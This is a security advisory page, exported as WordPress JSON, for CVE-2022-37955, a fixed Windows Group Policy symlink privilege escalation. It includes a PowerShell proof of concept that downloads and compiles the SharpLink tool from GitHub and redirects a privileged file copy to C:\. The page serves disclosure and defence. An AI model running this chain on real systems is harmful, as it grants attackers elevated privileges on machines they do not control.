{"id":19979,"date":"2023-04-24T10:31:46","date_gmt":"2023-04-24T08:31:46","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19979"},"modified":"2023-04-24T13:58:20","modified_gmt":"2023-04-24T11:58:20","slug":"usd-2022-0034","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0034\/","title":{"rendered":"usd-2022-0034"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.20.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1><\/h1>\n<h1>usd-2022-0034 | Privilege Escalation in Microsoft Windows<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2022-0034<br \/><strong>Product<\/strong>: Microsoft Windows<br \/><strong>Affected Version<\/strong>: Windows 10 (19044.1826), Windows Server 2019 (17763.3046), probably others...<br \/><strong>Vulnerability Type<\/strong>: Improper Link Resolution Before File Access (CWE-59) <span>\u00a0- Privilege Escalation<\/span><br \/><strong>Security Risk<\/strong>: High<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.microsoft.com\" target=\"_blank\" rel=\"noopener\">https:\/\/www.microsoft.com<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE-Number: <\/strong>CVE-2022-37955<\/p>\n<p>&nbsp;<\/p>\n<h3>Affected Component(s)<\/h3>\n<p>The vulnerability affects <em>Group Policy Updates<\/em> that contain policy settings for the <em>Internet Explorer<\/em>. Not all<br \/>policy settings are affected. One of the affected policy settings is the <em>Internet Explorer User Accelerators<\/em> setting.<\/p>\n<h3>Desciption<\/h3>\n<p><em>Windows Group Policy Updates<\/em> may allow low privileged user accounts to elevate their privileges by abusing symbolic file system links.<\/p>\n<p><em>Windows Group Policies<\/em> are used to control and define the working environment of users and computers within <em>Active Directory<\/em>.<br \/>They provide a great amount of control and allow to centrally manage Windows settings that should be unified within an organization.<br \/><em>Group Policy Settings<\/em> are usually defined on a domain controller and pulled regularly by domain joined computers. After pulling the<br \/>configured settings, the computer is responsible for parsing and applying the obtained policies. During this processing, it was identified<br \/>that the component responsible for parsing <em>Internet Explorer<\/em> related policy settings performs a copy operation within a user controlled<br \/>location of the file system. By using symbloc file system links, it is possible to redirect this copy operation and write user controlled<br \/>files to arbitrary locations within the file system. From here, there are many known techniques to achieve a privilege escalation, like<br \/><em>DLL<\/em> hijacking or overwriting service executables.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>When processing <em>Internet Explorer<\/em> related <em>Group Policy Updates<\/em>, the file <strong>C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer\\\\brndlog.txt<\/strong><br \/>is used for storing log data. Before overwriting the file, it is copied to <strong>C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer\\\\brndlog.bak<\/strong>.<br \/>If a corresponding <em>Group Policy Settings<\/em> (like e.g. <em>Internet Explorer User Accelerators<\/em>) is configured, both files should already be present:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer&gt;dir<\/span>\n\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">   Directory of C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer<\/span>\n\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">   28\/07\/2022  11:39    &lt;DIR&gt;          .<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">   28\/07\/2022  11:39    &lt;DIR&gt;          ..<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">   28\/07\/2022  11:39               713 brndlog.bak<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">   28\/07\/2022  11:39               713 brndlog.txt<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">   ...<\/span><\/pre>\n<\/div>\n<p>Since the folder <strong>C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer<\/strong> is fully user controlled, it is possible to delete all items within it<br \/>(It might be the case that a process holds a lock on the directory <strong>C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer\\\\CacheStorage<\/strong>, but this<br \/>process is use conrolled and can be stopped). Afterwards, tools like <a href=\"https:\/\/github.com\/usdAG\/SharpLink\" target=\"_blank\" rel=\"noopener\">SharpLink<\/a> can be used to create symbolic<br \/>links for the files <strong>brndlog.txt<\/strong> and <strong>brandlog.bak<\/strong>. The file <strong>brndlog.txt<\/strong> needs to be linked to the file that should be copied and the file <strong>brndlog.bak<\/strong><br \/>should be linked to the target location within the file system.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">PS C:\\\\&gt; echo \"Hello World :D\" &gt; C:\\\\Users\\\\user\\\\hello.txt<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">PS C:\\\\&gt; $c = iwr [https:\/\/raw.githubusercontent.com\/usdAG\/SharpLink\/main\/SharpLink.cs]() -UseBasicParsing<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">PS C:\\\\&gt; Add-Type $c.Content<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">PS C:\\\\&gt; $lg = New-Object de.usd.SharpLink.LinkGroup<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">PS C:\\\\&gt; $lg.AddSymlink(\"C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer\\\\brndlog.txt\", \"C:\\\\Users\\\\user\\\\hello.txt\")<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">PS C:\\\\&gt; $lg.AddSymlink(\"C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer\\\\brndlog.bak\", \"C:\\\\usd.txt\")<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">PS C:\\\\&gt; $lg.Open()<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">[!] Junction directory C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer isn't empty. Delete files? (y\/N) y<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] Creating Junction: C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer -&gt; \\\\RPC CONTROL<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] Creating DosDevice: Global\\\\GLOBALROOT\\\\RPC CONTROL\\\\brndlog.txt -&gt; \\\\??\\\\C:\\\\Users\\\\user\\\\hello.txt<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] Symlink setup successfully.<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] Junction C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Microsoft\\\\Internet Explorer -&gt; \\\\RPC CONTROL does already exist.<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] Creating DosDevice: Global\\\\GLOBALROOT\\\\RPC CONTROL\\\\brndlog.bak -&gt; \\\\??\\\\C:\\\\usd.txt<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] Symlink setup successfully.<\/span><\/pre>\n<\/div>\n<p>After applying a <em>Group Policy Update<\/em>, the file <strong>C:\\\\usd.txt<\/strong> should be created with user controlled content:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">PS C:\\\\&gt; gpupdate \/force<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">Updating policy...<\/span>\n\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">Computer Policy update has completed successfully.<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">User Policy update has completed successfully.<\/span>\n\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">PS C:\\\\&gt; dir C:\\\\usd.txt<\/span>\n\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">    Directory: C:\\\\<\/span>\n\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">Mode                 LastWriteTime         Length Name<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">----                 -------------         ------ ----<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">-a----         7\/28\/2022  12:29 PM             34 usd.txt<\/span>\n\n\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">PS C:\\\\&gt; type .\\\\usd.txt<\/span>\n<span class=\"go\" style=\"background: #263238;color: #546e7a\">Hello World :D<\/span><\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>Whenever high privileged services operate in user controlled parts of the file system they should verify that<br \/>file operations get not redirected to unintended locations. When operating on file system regions that are controled<br \/>by one particular user, this user should be impersonated during the operation.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/59.html\" target=\"_blank\" rel=\"noopener\">https:\/\/cwe.mitre.org\/data\/definitions\/59.html<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/usdAG\/SharpLink\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/usdAG\/SharpLink<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/googleprojectzero\/symboliclink-testing-tools\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/googleprojectzero\/symboliclink-testing-tools<\/a><\/li>\n<li><a href=\"https:\/\/herolab.usd.de\/security-advisories\/usd-2021-0001\/\">https:\/\/herolab.usd.de\/security-advisories\/usd-2021-0001\/<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-07-29:<\/strong> Vulnerability identified by Tobias Neitzel<\/li>\n<li><strong>2022-08-01:<\/strong> Advisory submitted via MSRC<\/li>\n<li><strong>2022-08-19:<\/strong> Vendor reports submitted vulnerability out of scope of the Microsoft Bug Bounty program<\/li>\n<li><strong>2022-10-26: <\/strong>Vendor reports submitted vulnerability as fixed<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Tobias Neitzel of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0034 | Privilege Escalation in Microsoft Windows Advisory ID: usd-2022-0034Product: Microsoft WindowsAffected Version: Windows 10 (19044.1826), Windows Server 2019 (17763.3046), probably others...Vulnerability Type: Improper Link Resolution Before File Access (CWE-59) \u00a0- Privilege EscalationSecurity Risk: HighVendor URL: https:\/\/www.microsoft.comVendor acknowledged vulnerability: YesVendor Status: FixedCVE-Number: CVE-2022-37955 &nbsp; Affected Component(s) The vulnerability affects Group Policy Updates that contain policy [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-19979","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19979","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19979"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19979\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19979"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}